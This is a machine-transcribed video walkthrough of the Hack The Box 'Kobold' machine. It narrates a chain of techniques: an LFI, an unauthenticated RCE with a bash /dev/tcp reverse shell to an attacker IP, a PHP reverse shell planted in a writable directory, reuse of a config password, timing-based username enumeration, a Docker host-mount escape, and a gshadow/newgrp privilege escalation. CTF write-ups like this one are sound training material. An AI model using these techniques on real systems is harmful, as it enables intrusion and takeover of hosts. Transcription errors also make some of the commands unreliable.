HackTheBox - Kobold
Transcript
Machine-transcribed by YouTube. Expect errors in names, commands and version numbers.
What's going on YouTube? This is Ippsec, and today I'll be doing Cobalt from Hack The Box. My favorite thing about this box is there's an unintended that lets us essentially join the Docker group without a password. I suspect this is because the creator of the box just removed the user from the group via editing the Etsy group file, which is something I've done many times in the past. However, there is an entry in Etsy Gshadow, and if the user is in the group there, they can then run the new group command to start a new session with that group. Anyways, the box probably is on the tougher end of easy. While each exploit is straightforward to use, when you use the exploit is not straightforward. We essentially have to exploit three different websites, Private Bin, MCPGM, and Arcane, and knowing the correct order to exploit them is the real challenge here.
Private Bin and MCPGM have unauthenticated RCEs against them, so that's the obvious starting point. You could get lucky and just start with MCPGM, but I suspect a lot of people wasted time trying to get Private Bin's exploit to work, which requires a file write primitive to get working. I'll start with Private Bin and show you when I decided to give up and move on to exploiting MCPGM. But anyways, all that being said, let's just jump in. As always, we're going to start off with an Nmap. So, -sC for default scripts, -sV enumerate versions, --reason, which gives us things like the TTL, -oA output all formats to the Nmap directory and call it Cobalt, and then the IP address of 10.129.245.50.
This can take some time to run, so I've already ran it. Looking at the results, we have just three ports open. The first one is SSH on port 22, and the banner tells us it's an Ubuntu server. We also have HTTP on port 80, and its banner tells us it's redirecting us over to HTTPS and this hostname. So, let's go ahead and add this to our host file. So, we'll do a whoops. There we go. sudo vi /etc/hosts Then we can add 10.129.245.50
cobalt.htb Save that. And let's see, is there anything else we have? On port 443, which is HTTPS. We also see it is nginx and we have an alternate name that star.cobalt.htb. So, this certificate also goes to all subdomains, which is going to tell me I should probably do a brute force of subdomains here just because the certificate's valid for them. So, might as well take a look at it. We could also just go to HTTPS cobalt.htb
and then see what is on the page if it links us any subdomains. We have a potential username of admin@cobalt.htb.
But, I'm going to go ahead and run ffuf. We'll do -H the host header, so fuzz.cobalt.htb. The wordlist I like using is opsec-lists/discovery/dns/subdomains-top1million.
Um we'll just do that one. That's fine. And then we need the URL, so we'll do HTTP. Oh, we probably want HTTPS, I'm guessing. Um and then Uh we just have to get the IP. So, 10.129.245.50. So,
Okay. I'm going to do auto-calibrate.
And we'll see what it gives us, right? Um if we don't get any results, then I'd probably just try HTTP instead of HTTPS. But, we have two. We have bin and mcp. So, let's go ahead and uh first take a look at the source code real quick to see if we see anything. Um this looks like a static website right now. Uh we could try to get a 404 page and we get file not found. This looks like a node.js thing to me. Um I'm just going to do a curl against this to see if it like has an express header. Uh but if I do this, also need -k cuz it's SSL.
Um I was expecting to see some type of express framework or something here, but I don't. Um 404 not found. Maybe Oh, if I get rid of this dash I will actually see this. I want to say that's Node.js. Um, let's see. OXD F 404 pages. This is always a good cheat sheet to use. Um, let's see. File not found. No HTML at all. Um, 404 pages. Um, oh, it's PHP-FPM.
So, it's not Node.js. I should probably assumed Node.js would be uh some type of JavaScript form. What does this look like? Do we have Express here? AIO, PHP.
Express. Um, oh, cannot get File not found. So, a cannot get would most likely be Express and I also want to say um, Golang has something similar as well. Uh, file not found. Uh, 404 page not found. But, yeah. Anyways, this is going to be PHP-FPM. So, what I'm thinking of if we have any file upload vulnerabilities, we may be able to just get a script running um, like shell.php in the web root and maybe it'll run. Like, this is definitely going to be um, executing PHP even though index.html
uh goes here. That's definitely interesting. But, point is, we don't have too much here. I could run a GoBuster to see if there's other endpoints here. Maybe there's like a {slash} admin that will let us log in, but I mainly just want to go ahead and take a look at bin. And then after bin, we're going to look at the MCP to see if there's anything there. Um, we have a 404 because we didn't update our host file. So, let's do bin.kobold.htb and mcp.kobold.htb.
So, save those. Refresh this. And here we go. We have uh it looks like Private Bin. It is an open source online pastebin, and it's running version 2.0.2. So, I'm going to do um this exploit. I always like using Google instead of DuckDuckGo. I probably should change the default. But, we'll do this. And see if we get anything. Um HTML sanitization, some CVEs. I probably could go to like um
what is it? The CVE details and find all CVEs in this. Um let's see. This is talking about create mitigation. That doesn't look good. Let's see. Do we have releases? OPcache module. Where do we go to see releases?
Let's go Private Bin.
Go here. And we can look at release notes for 202 to see if it fixed anything. Come on. There we go. 41 releases. 202. So, here we have HTML injection cross-site scripting vulnerabilities. If I go up one release, 203 is fixing arbitrary PHP file inclusion and self-XSS vulnerabilities. So, this is definitely interesting. Um PHP file inclusion. We can go to this CVE to see exactly how this is referenced. An unauthenticated LFI switching if template selection is enabled and the server trust the template cookie. So, it says just give it the template cookie. Um let's see. Where do we set this? ID is equal to template. Okay, here is an example.
So, we do curl silent and this file. I'm going to go over in Burp Suite just because I think that's a bit easier to see than using curl. So, let's go ahead Burp Suite. Let's make sure we intercept that is on. We'll refresh. And then I'm going to go into repeater. And we have this template right here. And they used a dot dot {slash} cfg {slash} comp, I want to say, in their example and we get a 500 internal server error. If we do a file that doesn't exist like comp asd, it's still 200. So, this tells us that we are definitely hitting a file. It is a local file inclusion. So, we're trying to execute the code in probably comp.php. I think the template's probably appending PHP for us and that's why we failed, right? Um a big trick with this type of thing is using a uh PHP wrapper to do like PHP
filter convert.base. Oh, wait. Convert.base64encode/resource
is equal to and we get a 200 okay, but there's no base64 code in this. So, it just fails, I guess, um in a good way. We could look at the actual like CVE. I think this will tell us vulnerable sections of code and it does right here. So, this is the function that is vulnerable. And I think the reason why we're not seeing a bunch of base64 like we didn't convert that PHP file to base64 so we can output it because of this. It's doing a file exist, right? Um so, this is kind of what I did when I solved the box just to test my understanding to see if I should keep going down this path, right? So, if I do a print and then we're going to say file exists and I'm just going to give it etsy passwd, right?
And we get a one. If the file doesn't exist, it's going to be false, which we're not printing anything. So, we could test real quick a PHP filter. So, PHP filter convert base 64 encode
resource is equal to this. And it's still Hold on. There we go. It's not printing anything because the file exists does not work with this PHP wrapper. So, that's kind of why I stopped going down this path and started looking at other things on the box. Um I think even in this it says like there's no way to um edit files within this
application. So, it's dead unless you have a another avenue to write a file.
So, that's all fine. Let's go ahead and take a look at the MCP. So, let's just do https mcp.cobalt.htb.
And I'm going to go ahead and turn Burp Suite off for this just so I don't intercept anything. And enter here. And right in the title we see this is going to be MCP Jam. We don't have any servers connected. If I click on settings, it does tell us what version of MCP Jam is running. So, if I did now, let's do CVE details really quick. Um let's see. Verifying. Come on.
Once this verifies, we can type MCP Jam. And I'm sure we could have done this for um private bin as well. I just like showing multiple ways to do things, right? So, here I'm doing CVE details. Go to vulnerabilities. There is one RCE. Uh we see this is a 2026 and it says 143. What version were we? 142. So, chances are this is going to be vulnerable to this CVE. So, if we go over to the GitHub page,
uh they have a commit and also a security advisory. Let's see if there's any proof of concepts in the security advisory itself. It is taking some time to load. I'm going to close out some of these tabs that aren't needed while we wait.
Let's see. We have a PRC. It is doing a curl on this API API MCP connect and
we're sending it some JSON and this looks like a Windows proof of concept as we're sending cmd and then executing calc. So, I'm going to go ahead and copy this. We're going to uh put this on our terminal and I'm going to edit the IP address and stuff. So, this now goes to what is it? mcp.cobalt.htb. Add a dash K flag because we want to ignore SSL certificates. And if I just run this, um it's going to fail. Obviously, we can't spawn cmd.exe. So, I'm going to change this over to bin. I'll do bin sh first because there is something I want to show here.
Um and then it's not {slash} c, it would be {dash} c I want to say for a command, right? And then we could say echo
hello world. Uh connection.
I actually did not expect that one to error. Um I wonder if we do sleep two. It is running the command, right? Uh because it takes 2 seconds to run. I bet if I change it to 1 second, it would now be a 1 second to run. So, we have this taking some time. So, let's go ahead and put our reverse shell here, right? And I'm going to do bash {dash} I dev TCP 10.10.14.171
9001 0 and 1 like that. And then I'm going to do nc lvp 9001. And try to run it. We don't get a shell. And the reason we're not getting a shell is because this is a bashism, meaning
this is like a magical file created by Bash itself. Um if I go to bin bash like this, then we get a shell, right? Cuz bin sh is not necessarily going to be the bash shell. It kind of depends on what Linux distribution you're on, right? But that is key. Um you could also do like um
another thing we could have done if we didn't know that or didn't have access to Well, um when I solved the box the first time, I didn't realize that and I kept having issues around this and I assumed uh this was a lot of bad characters, right? So, my answer was uh let's do echo {dash}n.
We can copy and paste this, right?
And then do base64 Oh, we need to put this in quotes. Then base64 {dash}w0. Get rid of all the special characters, that plus sign. Then we got two equals around here. There we go. So, now we have a pure alphanumeric, no special characters. So, when I go back to this one command, uh this bin sh that is fine. I can now say echo this, base64 {dash}d, and then pipe it over to bash, right? And then we get a shell as well. Like both of these methods work. I think it's important to know both cradles because sometimes you don't control the interpreter and this is a very safe way to do it that eliminates a lot of potential failures, right? The plus character, this is like the reason why a lot of my commands fail when I do HTTP payloads because this plus gets URL decoded to a space and that is super annoying in payloads. So, I always try to eliminate pluses wherever possible when dealing with web because you don't know how much time I've wasted um or like false positives I've missed because of that character causing issues, right?
Uh but now I'm just going to get a proper Well, actually I'm the bin user. Um I'm going to see if we have SSH. I'm going to do make dir .ssh. Let's go in this directory. I can probably close that out. That's fine. SSH keygen ed25519.
File name is going to be kobold. And then cat kobold.pub. Whenever I can, I like doing SSH instead of reverse shells because if I screw something up, um, it's easier to return back to where I was this way, right? So, not the most opsec-friendly way, but also it's super handy when doing CTFs, right? So, let's do SSH -i kobold. And
then ben@kobold.htb.
And there we go. We get in with SSH. So, I can close this. And now we have a reliable shell. So, the first thing I normally do is check sudo. And it wants a password for ben, which I don't have. So, I'll just control C out of that. If we do are here.
And we really only have user.text. Um, we can do a ps ef --forest. I like doing less -S cuz it makes it easier to just scroll and see when output goes, um, long ways. And we'll see if we have anything interesting here. Um, something node.js running. That may be like the private bin. That application just reeked of, um, node.js. Oh, it's actually mcp jam if I completed reading. Uh, we have PHP-FPM running as www-data probably there. Let's see, engine X. We have docker running. Uh, let's see, the proxy. Looks like it's host port 8080. So, docker is running somewhere. Uh, more PHP stuff. Let's see.
SSH. Um, what is root running? That's also normally a good spot, right? So, docker. What is all this? Um Looks like PHP related stuff. We have something root Arcane Linux. So, that is different. If we do a SSLNTP
Um let's see. We have a few ports. We have 627445881. These are on localhost. What are these? Our curl That is node.js. So, that's probably MCP Jam. Yep, that is. So, that is going to be the MCP Jam. I'm guessing there's an engine X that is 40 443 to this local port. Um let's see what this is. Curl Uh 404 page not found. That is
I don't know what that is. Um index Let's see. Index.html
See, I don't know exactly what that is. Uh CD Etsy Grep {dash} R 45881.
Is that going to tell me? Uh period to devnull Let's see. Nope. I'm not exactly sure what that port is. Um It's also not in engine X because that would have found it. That is definitely odd. Uh 443 80 22 8080. This is definitely
going to be private bin. And then we have 3552 listing on all interfaces. So, my Nmap did not see this port. Um but thankfully it did not cause us to stop, right? Um if you ever run into dead ends, you should probably just switch your Nmap up to scan all ports. I just don't like doing it right off the bat cuz it can be a little bit slow. But this is going to be probably Arcane Linux, right? We have the version right here. And username and password. So Let's see. Uh we could go and Google Let's see. Go to Google. Um Arcane default credentials
And let's see. Arcane and arcade admin. So, that's the default. So, let's try this real quick. And I think there's another set of default credentials, but I forgot it. Um but it's not going to be beneficial to us. So, that fails. Um I wonder if we can find will this show us if a username exist? Like cuz that will be key going on. So, let's go sign in real quick. Send this over to Burp Suite. Go to Repeater. Run this. And let's see. 1 2 3 5. I'm going to run it three times. 1 1 8 8. 1 1 0 4. 1 1 0 5. So, let's give it a user that does not exist. I don't think ipsic exist here. Do we go below 1,100 milliseconds?
Come on. Ooh. 1,000 uh yep. We're about
100 milliseconds quicker on the username ipsic than we are with arcane. So, what does that tell me? That tells me this arcane user exist and it takes around 100 milliseconds to compare this password hash to whatever it's comparing to to validate the password. So, we know this user exist. Um we could probably write a script that just attempts to brute force all possible users to find other valid usernames. Like I think Ben is the user we're on the system, right? Yeah, Ben at Kobold. So, we could try Ben. Doesn't exist, right? That's not 1,100 milliseconds. Uh we could just try plain old admin. That doesn't exist either, I don't think. The thing I'd be careful about if you try to automate this is if you spam the server, your load on the server can make it take a little bit longer to respond and then you get false positives cuz it took 1,100 milliseconds. That's just because the server was under load, right? But right now we know arcane exist. We just don't have a password for it. So, that's where I go. Like let's find passwords, right? So, I'm going to go Etsy engine X. Let's see where all these web servers are. So, we go sites enabled.
Um let's do MCP Jam. That is
Let's see. In this private bin data directory um Let's see. There's no real quick wins, is there? I'm looking here. We have this directory as well. We probably should look at this directory, but honestly, when solving the box, I didn't do that. I looked at my groups, and I see I'm a member of this operator group. I don't know what operator does. So, I went find {dash} {dash} group operator and then hit error messages, right? Um I probably ran a {dash} LS too, cuz I always like adding that to my um Does LS go after?
There we go. Find has a really weird set of arguments. Since I put LS before this conditional, like it was running LS against everything in find. Now that it's after this group conditional, it'll only run it on the output, right? But this is going to tell me everywhere that the operator group owns a file. And again, we're pointing to this private bin {dash} data. So We also see it is modded
Wait. Is that true? That is 777, so we don't even need to be Ben. Okay. Um
Or we don't even need be in that group, I should say. But if I look at this data directory we have salt.php, traffic limiter, and
um I guess some files potentially. Let's do find {dot} {dash} type f. Uh hide error messages, so it's easier to read. Um nothing in these weird directories. If I went to private bin real quick and created a file, so let's do bin. Oh, I think it's HTTP first. bencobalt.htb https
Burp Suite is on, intercept off. Thank you. If I do please subscribe, save this file. And then I do find dot. I somewhat expected to see a new file get created and I did not.
Huh. Okay. I will ignore that right now. Um, I really expected we got a new directory created.
I'm so confused right now.
Okay. Well, I don't know what's going on here. And I can't explain it. That's directory. That's definitely a file. That's a file. Okay. Um, let's do shell.php and let's write a reverse shell here. Um, let's see. CP user share
longnum php php reverse shell. I'm just going to copy it here. Oh, I did not mean to do three p I have no idea why I just wrote that.
Oh, it's S3 periods. It's a hidden file. Uh, move that to shell.php.
There we go. Make dir www. cd www.
Um, move shell into this directory. Let's edit it. And where is IP address?
Let's change this to be mine. 10.10.14 I don't know what my IP is.
Uh that's not it. 10.10.14.171
Let's change the port to be 9001. Save that. And then we can say curl HTTP 10.10.14.171:8000
shell.php out to shell.php. And Python 3 M HTTP server
wget that. And we should be able to get to this box, right? Let's go in my repeater tab.
Go back here. And let's get rid of this filter. And we'll say this is going to be ../data/shell, right? nc -lvnp 9001 Run that. And we get a shell here. And I think I may have skipped a step thinking about this, right? Um I saw I could edit this data, but I can't get into cfg, right? Um so if I do
cfg, I'm blocked. And I want to read the config cuz that's probably where a password's going to be. So that was my whole logic of wanting to get a shell here. And if I look at slash, I can see I am
inside of Docker. Um let's see. We want to find exactly where this is. Um find {dot} {dash} name cfg to dev/null
cuz this should be able to find the directory. So it's in srv. Um let's do find data.
And okay. Um I'm so confused right now.
Because
Wait, what? I do LS data. I do have shell. For some reason I don't see this file. I wonder if I don't see this file cuz I don't have access to this directory. Hold on a second. Um This is not really that important, but it's confusing me. So, what directory was I saying? 65 Permission denied. So, that's why I did not see the file. Um We went into here or went into the application, wrote this, and I was expecting to see a file inside of data. And I was just running find, and I was hiding error messages, and that directory 65 got created. And I can't go inside of that directory, so I did not see the file it created.
So, now if we go into data 60 CD data 65 Um this will let me
Uh let's now see two. There we go. This is probably please subscribe. Um it looks like encrypted data. So, because this is encrypted, also at the very beginning we have this HTTP response 403 doing the access denied.
This is why we can't just write a note and then include that note with our LFI, right? Because the data's encrypted. Unless we could like control where plain text or something like this is to write plain text into this file, we just can't get um local file inclusion working. So, let's go up to the CFG because that's what I wanted. So, if I go in here, now I can read conf.php. Um conf.php, let's just grep -i pass.
Uh That gave me a lot more information I wanted. So, I'm going to do cat conf.php. We're going to exclude everything that begins with a semicolon. And then I'm going to include everything that begins with a character because if I don't do that, hold on. I don't have a proper shell, so I can't hit the up key, but I will show you. Right? I got to last blank lines. So, that's what I'm going to do this grab period. And now I just have every non-commented line, right? So, it makes it easier to read this code. Let's see. Discussion false.
Do we have anything? I thought we would have like a password or something in the config. Let's see. Expires, formatter markdown. Data. Here we go. We have some MySQL stuff. And there is a password here. So, a complex admin password 1928. So, let's go ahead and try that against Arcane. We knew the Arcane user existed. That's the only user we've confirmed existed in this application. So, we try to log in. And it's thinking about it. It's taking its time to think, and we get logged in. And this looks like it is managing Docker containers and things like that. We see two images. We have MySQL and this PHP-FPM.
Whenever I get into a Docker management thing, my first thing is always go to like containers and see if we can just create a malicious container. There may be a CVE against this, but this is something that's so common within Docker that it's just something you try, right? So, let's see. The container name I'm going to call it ipsec. The command is going to be bin bash. Um I want to run as 0 0. This is going to be the root user. If I didn't do do it would probably map me as nobody or something like that. Um, let's see, attach standard out, standard errors, that seems all fine.
I may want to allocate a TTY. I'm not positive yet. I go to environment. That's environment variables, ah, volumes. I'm going to mount {slash} to your {slash} mount.
Uh, do I click add? I just added a new one, that should be fine. Uh, network and security, that all should be fine. If I create this container, Oh, I probably should have already removed it on exit. Oh, well. Um, may also want to run in privileged mode, but we'll see what happens.
Come on. It's thinking about creating. Failed to create. Uh-oh. Uh, context exceeded.
Let's try bin sh as the run command.
Working directory, I'm just going to set it as {slash}. Create container.
Did we screw something up? I wonder, is that not the image? That image is running on a different one. Um, failed to create. Let me turn Burp Suite off. I don't think that's going to be the issue.
Run. No environment, no ports. The volume {slash} to {slash} mnt, that should all be fine.
Failed. Get registry. I bet this is not the right image name.
Let's cancel out of that. Oh, we probably have to tag it. It Yeah, we didn't We probably could use like colon latest or whatever. It's got version 202. That's probably going to be what my mistake was. Let's fix that. That's all good. That's fine. That's still there. Let's create. There we go. So, now this container is running. So, let's see. Looks like we do have a way to do shell. So, now if I go to CD {slash} mount, now we have the host operating system. I can go to root. And then we could make a directory. Let's do make dir {dot} ssh. Or we can just do CD {dot} ssh.
Um I'm going to cat What is it? {slash} mount home ben
ssh authorized keys over top of this
one. So, now I should be able to ssh {dash} i cobalt root at
cobalt.htb. And we get logged in. Awesome. And that is the box. Now, there is one really cool thing about this box and it's an unintended thing that I learned a lot from. Um which is crazy. Like I learned stuff from I think this box is easy all the time. Like uh Let's take a few steps back. Um I'm going to re-get this shell as ben. Right? So, if we do this whole ID, you see what groups I am. I'm going to do something crazy that I've never ran before. I never ran this new group command before this. I'm going to say new group docker.
Didn't error. And now I'm in the docker group. I can do docker ps and I can get this. I have now full access to docker. And that sounds crazy. Um hold on. Let me exit. Um whoops. Let me exit twice. I can get a shell. Get the ID. I'm not in docker.
Don't have access. New group. I'm going to try the LXD group. It says password. So, I can't just magically join this group. Um Let's do new group docker again. And it magically works. I can do docker PS. So, what is happening here? Cuz this threw me for a loop. Cuz this is a big unintended vector, right? We could just go straight from exploiting MCPGM, land as Ben, and then new group docker, and then um a docker run to run this image. And then volume bin sh, right? Uh volume uh mount. What is
it? Let's see. Can I do this off top of my head? Uh was it docker run
I think that. Uh let's see. Docker V
Is it Is that go run? Is this the command? Uh we probably want interactive bin sh. Ooh.
That did not do it. Um let's see. What if I say It's not exact, right? It's definitely docker run. Um There's a different way to set the entry point. Is it like entry-point is equal to? Uh does that go first?
Come on. That's not it. Image command.
How am I failing at this? Uh docker run
set entry point. Let's see. Docker run options entry point executable image name.
That should be it. Huh.
This is what I get for trying to do this live. Um unknown flag.
You know, we could just cheat. Hold on 1 second.
Um I bet if I run this, that's SSH is Ben again. This part is not important. I don't know why I'm wasting so much time here. Um I guess I'm just delaying you from seeing exactly why this worked, but also like
hopefully it's um
gives you like peace of mind that not everyone knows every command off the top of their head, right? Um this is where like uh it helps to do things legitimately and have ideas, right? Because
I just did the same thing this way, right? I don't know exactly how to change the entry point and run. Um I'm sure there's a flag, and I'm sure if I spent another 5 10 minutes or just 2 minutes asking Claude I could get it. But what I do know is once I start this container, I know the Docker exec command cuz this is what I use consistently, right? So I just started it and then did an exec to get into it. But all of that is not important. Um
what is important is why this is working. And it's actually the G shadow file. So I have a theory of exactly what happened on this box, right? Cuz it's something I do all the time. Um when I want to remove a user from a group, I go in this Etsy group file where they're specified and then just remove them, right? We cat group uh grep
Docker. We can see Alice is a member of that group. So I'm guessing this file used to be something like uh Alice {comma} Ben to put Ben into this group when Ben logs in, right? I bet if I just edit this file, let's see. Edit group Where is Docker? We'll do Ben here, save this file. We can exit the shell. Log back in. Do ID and I can see I'm a member of Docker, right? So, because I don't know the user mod command off the top of my head, just like I don't know the whole Docker run command off the top of my head. My thing is, you know what? I can run this Etsy group file. I can remove them.
Save this and then when they log in
they are now out of that group and I'm happy, right? Uh but what I didn't know is there's this G shadow. I guess I should say I knew about G shadow. I didn't know its purpose. But we can see Ben is a member of um operator. There's also Where is Docker? Ben is a member of Docker in this G shadow file, right? So, that is what is letting us do this. If I have to do new group Docker now I'm in it, right? Let's exit.
I remove myself from that group.
I have edited G shadow. I do this again and I get password. So, the new group um is going to be a set UID file. So, if we do stat which new group
we can see that is um set UID so it can execute as its owner's permissions, which its owner is root. And if I man new group Oh, whoops.
Um and look. It does say if there's entry for this group and G shadow, then it will magically make them a member. So, this is something I've always seen in the output of LinPEAS. I never really knew how to weaponize it or how it could be a security vulnerability until this box. Um, I'm sure it's affected other boxes previously because um, I don't use that user mod command that much, right? Um, let's see. Let's see if we can figure it out really quick because why not? Um, let's do past not past WD.
Let's do group again. Um, docker. K. So, now Ben exists in both places. So, if I exit here, we do ID. We are in both. So, let's see. User mod {dash}h. Oh, man, so many options. Um, delete sub GID. First, last.
Maybe that's what I want. Let's see. List new supplementary G.
D is home directory. A is append. R. So, remove user from the supplemental groups mentioned by {dash} capital G.
New list of supplementary.
So, if I just do user mod
{dash} capital G docker {dash} R for remove
and then say Ben.
Now, let's log in. ID. I'm no longer in docker and new group docker. That did it. That removed from both places, right? If I grep docker and Etsy group, that's fine and G shadow.
That's fine. So, I hope you guys enjoyed this little segment. Um, that's going to be it for this box. Take care and I will see you all next time.





